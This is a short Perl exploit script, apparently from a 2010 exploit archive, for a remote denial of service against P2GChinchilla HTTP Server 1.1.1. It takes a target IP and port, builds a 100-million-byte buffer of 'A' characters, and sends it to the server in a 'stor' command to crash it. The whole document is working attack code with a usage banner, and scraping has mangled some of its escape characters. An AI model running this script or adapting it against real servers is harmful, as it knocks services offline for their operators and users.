Text :  

#!/usr/bin/perl
# File Name :P2GChinchilla[TM] HTTP Server
# Vuln : Remote Denial Of Service Exploit
# Auther : Zer0 Thunder
# Msn : zer0_thunder@colombohackers.com
#
#
##==------>>
#
# Exploit Title: P2GChinchilla[TM] HTTP Server 1.1.1 Remote Denial Of
Service Exploit
# Date: 22/01/2010
# Author: Zer0 Thunder
# Site : http://www.proggies2go.org/pages/p2gChinchilla.html?ref=PAD
# Software Link:
http://www.proggies2go.org/pages/p2gChinchilla/p2gChinchilla.rar
# Version: v 1.1.1
# Tested on: Server runs on Windows XP Sp2 /Test on Remote Location
##==------>>
use IO::Socket::INET;
$ip = $ARGV[0];
$port = $ARGV[1];
if (! defined $ARGV[0])
{
print
"t+================================================================+n&
quot;;
print "t+ --- P2GChinchilla[TM] HTTP Server 1.1.1 Denial Of Service
---+n";
print "t+ --- Author :Zer0 Thunder
---+n";
print "t+ --- DATE: :[24/01/2010]
---+n";
print "t+ --- ------------------------------------------------
---+n";
print "t+ --- Usage :perl exploit.pl [Host/Remote IP] [Port]
---+n";
print "t+ ---
---+n";
print
"t+================================================================+n&
quot;;
print "n";
print " Ex : exploit.pl localhost 50000n"; # P2GChinchilla
Default Port is 50000


exit;
}

print
"t+================================================================+n&
quot;;
print "t+ --- P2GChinchilla[TM] HTTP Server 1.1.1 Denial Of Service
---+n";
print "t+ --- Author :Zer0 Thunder
---+n";
print "t+ --- DATE: :[24/01/2010]
---+n";
print "t+ --- ------------------------------------------------
---+n";
print "t+ --- Usage :perl exploit.pl [Host/Remote IP] [Port]
---+n";
print "t+ ---
---+n";
print
"t+================================================================+n&
quot;;
print "n";
print " Wait Till The Buffer is Donen";
my $b1 = "x41" x 100000000;
print "n";
print " DoS is UP !.. N Give it a Second n";

$DoS=IO::Socket::INET->new("$ip:$port") or die;

print $DoS "stor $b1n";
print $DoS "QUITn";

close $DoS;

# exit :

  References :  

None